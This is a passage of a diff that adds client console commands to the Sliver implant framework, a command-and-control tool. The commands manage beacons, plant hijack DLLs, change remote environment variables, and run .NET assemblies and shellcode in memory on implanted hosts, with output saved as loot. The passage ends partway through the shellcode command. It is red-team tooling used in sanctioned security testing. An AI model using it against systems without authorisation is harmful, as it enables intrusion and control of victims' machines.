+			con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
+		}
+	}
+
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	PrintBeacons(beacons.Beacons, con)
+}
+
+// PrintBeacons - Display a list of beacons
+func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
+	if len(beacons) == 0 {
+		con.PrintInfof("No beacons 🙁\n")
+		return
+	}
+	tw := renderBeacons(beacons, con)
+	con.Printf("%s\n", tw.Render())
+}
+
+func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
+	width, _, err := terminal.GetSize(0)
+	if err != nil {
+		width = 999
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	if 182 < width {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Name",
+			"Tasks",
+			"Transport",
+			"Remote Address",
+			"Hostname",
+			"Username",
+			"Operating System",
+			"Last Check-in",
+			"Next Check-in",
+		})
+	} else {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Name",
+			"Transport",
+			"Username",
+			"Operating System",
+			"Last Check-in",
+			"Next Check-in",
+		})
+	}
+
+	for _, beacon := range beacons {
+		color := console.Normal
+		activeBeacon := con.ActiveTarget.GetBeacon()
+		if activeBeacon != nil && activeBeacon.ID == beacon.ID {
+			color = console.Green
+		}
+
+		nextCheckin := time.Unix(beacon.NextCheckin, 0)
+		var next string
+		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
+			past := time.Now().Sub(nextCheckin)
+			next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
+		} else {
+			eta := nextCheckin.Sub(time.Now())
+			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
+		}
+		if 182 < width {
+			tw.AppendRow(table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
+				fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
+				fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
+				next,
+			})
+		} else {
+			tw.AppendRow(table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
+				fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
+				next,
+			})
+		}
+	}
+	return tw
+}

client/command/beacons/helpers.go

@@ -0,0 +1,128 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+var (
+	// ErrNoBeacons - No sessions available
+	ErrNoBeacons = errors.New("no beacons")
+	// ErrNoSelection - No selection made
+	ErrNoSelection = errors.New("no selection")
+	// ErrBeaconNotFound
+	ErrBeaconNotFound = errors.New("no beacon found for this ID")
+)
+
+// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
+func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(beacons.Beacons) == 0 {
+		return nil, ErrNoBeacons
+	}
+
+	beaconsMap := map[string]*clientpb.Beacon{}
+	for _, beacon := range beacons.Beacons {
+		beaconsMap[beacon.ID] = beacon
+	}
+	keys := []string{}
+	for beaconID := range beaconsMap {
+		keys = append(keys, beaconID)
+	}
+	sort.Strings(keys)
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Column Headers
+	for _, key := range keys {
+		beacon := beaconsMap[key]
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
+			beacon.ID,
+			beacon.Name,
+			beacon.RemoteAddress,
+			beacon.Hostname,
+			beacon.Username,
+			fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
+		)
+	}
+	table.Flush()
+
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a beacon:",
+		Options: options,
+	}
+	selected := ""
+	survey.AskOne(prompt, &selected)
+	if selected == "" {
+		return nil, ErrNoSelection
+	}
+
+	// Go from the selected option -> index -> session
+	for index, option := range options {
+		if option == selected {
+			return beaconsMap[keys[index]], nil
+		}
+	}
+	return nil, ErrNoSelection
+}
+
+func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(beacons.Beacons) == 0 {
+		return nil, ErrNoBeacons
+	}
+	for _, beacon := range beacons.Beacons {
+		if beacon.ID == beaconID {
+			return beacon, nil
+		}
+	}
+	return nil, ErrBeaconNotFound
+}
+
+func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(beacons.Beacons) == 0 {
+		return nil, ErrNoBeacons
+	}
+	return beacons, nil
+}

client/command/beacons/prune.go

@@ -0,0 +1,85 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+// BeaconsPruneCmd - Prune stale beacons automatically
+func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	pruneBeacons := []*clientpb.Beacon{}
+	for _, beacon := range beacons.Beacons {
+		nextCheckin := time.Unix(beacon.NextCheckin, 0)
+		if time.Now().Before(nextCheckin) {
+			continue
+		}
+		delta := time.Now().Sub(nextCheckin)
+		if pruneDuration <= delta {
+			pruneBeacons = append(pruneBeacons, beacon)
+		}
+	}
+	if len(pruneBeacons) == 0 {
+		con.PrintInfof("No beacons to prune.\n")
+		return
+	}
+	con.PrintWarnf("The following beacons and their tasks will be removed:\n")
+	for index, beacon := range pruneBeacons {
+		beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			continue
+		}
+		con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
+	}
+	con.Println()
+	confirm := false
+	prompt := &survey.Confirm{Message: "Prune these beacons?"}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+	errCount := 0
+	for _, beacon := range pruneBeacons {
+		_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			errCount++
+		}
+	}
+	con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
+}

client/command/beacons/rm.go

@@ -0,0 +1,41 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// BeaconsRmCmd - Display/interact with beacons
+func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	beacon, err := SelectBeacon(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	_, err = con.Rpc.RmBeacon(context.Background(), beacon)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
+}

client/command/beacons/watch.go

@@ -0,0 +1,67 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+// BeaconsWatchCmd - Watch your beacons in real-ish time
+func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	done := waitForInput()
+	defer func() {
+		con.Printf(console.UpN+console.Clearln+"\r", 1)
+		con.Printf(console.UpN+console.Clearln+"\r", 1)
+	}()
+	for {
+		select {
+		case <-done:
+			return
+		case <-time.After(time.Second):
+			beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+			if err != nil {
+				panic(err) // If we return we may leak the waiting goroutine, so we panic instead
+			}
+			tw := renderBeacons(beacons.Beacons, con)
+			lines := strings.Split(tw.Render(), "\n")
+			for _, line := range lines {
+				con.Printf(console.Clearln+"\r%s\n", line)
+			}
+			con.Printf("\nPress enter to stop.\n")
+			con.Printf(console.UpN+"\r", len(lines)+2)
+		}
+	}
+}
+
+func waitForInput() <-chan bool {
+	done := make(chan bool)
+	go func() {
+		defer close(done)
+		fmt.Scanf("\n")
+		done <- true
+	}()
+	return done
+}

client/command/dllhijack/README.md

@@ -0,0 +1,4 @@
+DLL Hijack
+===========
+
+Implements command related to `dllhijack`.

client/command/dllhijack/dllhijack.go

@@ -0,0 +1,97 @@
+package dllhijack
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll  TARGET_PATH
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll  TARGET_PATH
+
+// DllHijackCmd -- implements the dllhijack command
+func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		localRefData  []byte
+		targetDLLData []byte
+		err           error
+	)
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	targetPath := ctx.Args.String("target-path")
+	referencePath := ctx.Flags.String("reference-path")
+	localFile := ctx.Flags.String("file")
+	profileName := ctx.Flags.String("profile")
+	localReferenceFilePath := ctx.Flags.String("reference-file")
+
+	if referencePath == "" {
+		con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
+		return
+	}
+
+	if localReferenceFilePath != "" {
+		localRefData, err = ioutil.ReadFile(localReferenceFilePath)
+		if err != nil {
+			con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
+			return
+		}
+	}
+
+	if localFile != "" {
+		if profileName != "" {
+			con.PrintErrorf("please use either --profile or --File")
+			return
+		}
+		targetDLLData, err = ioutil.ReadFile(localFile)
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err)
+			return
+		}
+	}
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
+	con.SpinUntil(msg, ctrl)
+	_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
+		ReferenceDLLPath: referencePath,
+		TargetLocation:   targetPath,
+		ReferenceDLL:     localRefData,
+		TargetDLL:        targetDLLData,
+		Request:          con.ActiveTarget.Request(ctx),
+		ProfileName:      profileName,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("DLL uploaded to %s\n", targetPath)
+}

client/command/environment/README.md

@@ -0,0 +1,4 @@
+Environment
+===========
+
+Contains command implementations for manipulating remote environment variables.

client/command/environment/get.go

@@ -0,0 +1,71 @@
+package environment
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// EnvGetCmd - Get a remote environment variable
+func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	name := ctx.Args.String("name")
+	envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
+		Name:    name,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if envInfo.Response != nil && envInfo.Response.Async {
+		con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, envInfo)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintGetEnvInfo(envInfo, con)
+		})
+		con.PrintAsyncResponse(envInfo.Response)
+	} else {
+		PrintGetEnvInfo(envInfo, con)
+	}
+}
+
+// PrintGetEnvInfo - Print the results of the env get command
+func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
+	if envInfo.Response != nil && envInfo.Response.Err != "" {
+		con.PrintErrorf("%s\n", envInfo.Response.Err)
+		return
+	}
+	for _, envVar := range envInfo.Variables {
+		con.Printf("%s=%s\n", envVar.Key, envVar.Value)
+	}
+}

client/command/environment/set.go

@@ -0,0 +1,80 @@
+package environment
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// EnvSetCmd - Set a remote environment variable
+func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	name := ctx.Args.String("name")
+	value := ctx.Args.String("value")
+	if name == "" || value == "" {
+		con.PrintErrorf("Usage: setenv KEY VALUE\n")
+		return
+	}
+
+	envInfo, err := con.Rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
+		Variable: &commonpb.EnvVar{
+			Key:   name,
+			Value: value,
+		},
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if envInfo.Response != nil && envInfo.Response.Async {
+		con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, envInfo)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSetEnvInfo(name, value, envInfo, con)
+		})
+		con.PrintAsyncResponse(envInfo.Response)
+	} else {
+		PrintSetEnvInfo(name, value, envInfo, con)
+	}
+
+}
+
+// PrintSetEnvInfo - Print the set environment info
+func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
+	if envInfo.Response != nil && envInfo.Response.Err != "" {
+		con.PrintErrorf("%s\n", envInfo.Response.Err)
+		return
+	}
+	con.PrintInfof("Set %s to %s\n", name, value)
+}

client/command/environment/unset.go

@@ -0,0 +1,76 @@
+package environment
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// EnvUnsetCmd - Unset a remote environment variable
+func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("Usage: setenv NAME\n")
+		return
+	}
+
+	unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
+		Name:    name,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if unsetResp.Response != nil && unsetResp.Response.Async {
+		con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, unsetResp)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintUnsetEnvInfo(name, unsetResp, con)
+		})
+		con.PrintAsyncResponse(unsetResp.Response)
+	} else {
+		PrintUnsetEnvInfo(name, unsetResp, con)
+	}
+
+}
+
+// PrintUnsetEnvInfo - Print the set environment info
+func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
+	if envInfo.Response != nil && envInfo.Response.Err != "" {
+		con.PrintErrorf("%s\n", envInfo.Response.Err)
+		return
+	}
+	con.PrintInfof("Successfully unset %s\n", name)
+}

client/command/exec/README.md

@@ -0,0 +1,4 @@
+Exec
+====
+
+Implements execution related commands like `execute`, `execute-shellcode`, `execute-assembly`, etc.

client/command/exec/execute-assembly.go

@@ -0,0 +1,139 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
+func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	assemblyPath := ctx.Args.String("filepath")
+	isDLL := false
+	if filepath.Ext(assemblyPath) == ".dll" {
+		isDLL = true
+	}
+	if isDLL {
+		if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
+			con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
+			return
+		}
+	}
+	assemblyBytes, err := ioutil.ReadFile(assemblyPath)
+	if err != nil {
+		con.PrintErrorf("%s", err.Error())
+		return
+	}
+
+	assemblyArgs := ctx.Args.StringList("arguments")
+	process := ctx.Flags.String("process")
+
+	ctrl := make(chan bool)
+	con.SpinUntil("Executing assembly ...", ctrl)
+	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		IsDLL:     isDLL,
+		Process:   process,
+		Arguments: strings.Join(assemblyArgs, " "),
+		Assembly:  assemblyBytes,
+		Arch:      ctx.Flags.String("arch"),
+		Method:    ctx.Flags.String("method"),
+		ClassName: ctx.Flags.String("class"),
+		AppDomain: ctx.Flags.String("app-domain"),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	hostname := getHostname(session, beacon)
+	if execAssembly.Response != nil && execAssembly.Response.Async {
+		con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, execAssembly)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+		})
+		con.PrintAsyncResponse(execAssembly.Response)
+	} else {
+		PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+	}
+}
+
+// PrintExecuteAssembly - Print the results of an assembly execution
+func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
+	assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+
+	if execAssembly.GetResponse().GetErr() != "" {
+		con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
+		return
+	}
+
+	var outFilePath *os.File
+	var err error
+	if ctx.Flags.Bool("save") {
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
+		outFilePath, err = ioutil.TempFile("", outFile)
+	}
+	con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
+	if outFilePath != nil {
+		outFilePath.Write(execAssembly.GetOutput())
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+
+	if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
+		name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
+		err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
+		if err != nil {
+			con.PrintErrorf("Failed to save output as loot: %s\n", err)
+		} else {
+			con.PrintInfof("Output saved as loot\n")
+		}
+	}
+}
+
+func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
+	if session != nil {
+		return session.Hostname
+	}
+	if beacon != nil {
+		return beacon.Hostname
+	}
+	return ""
+}

client/command/exec/execute-shellcode.go

@@ -0,0 +1,203 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bufio"
+	"context"
+	"fmt"
+	"io"
+	"io/ioutil"
+	"log"
+	"os"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"golang.org/x/crypto/ssh/terminal"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ExecuteShellcodeCmd - Execute shellcode in-memory
+func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	interactive := ctx.Flags.Bool("interactive")
+	if interactive && beacon != nil {
+		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
+		return
+	}
+	pid := ctx.Flags.Uint("pid")
+	shellcodePath := ctx.Args.String("filepath")
+	shellcodeBin, err := ioutil.ReadFile(shellcodePath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return
+	}
+	if pid != 0 && interactive {
+		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
+		return
+	}
+	if interactive {
+		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
+		return
+	}
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
+	con.SpinUntil(msg, ctrl)
+	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
+		Data:     shellcodeBin,
+		RWXPages: ctx.Flags.Bool("rwx-pages"),
+		Pid:      uint32(pid),
+		Request:  con.ActiveTarget.Request(ctx),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
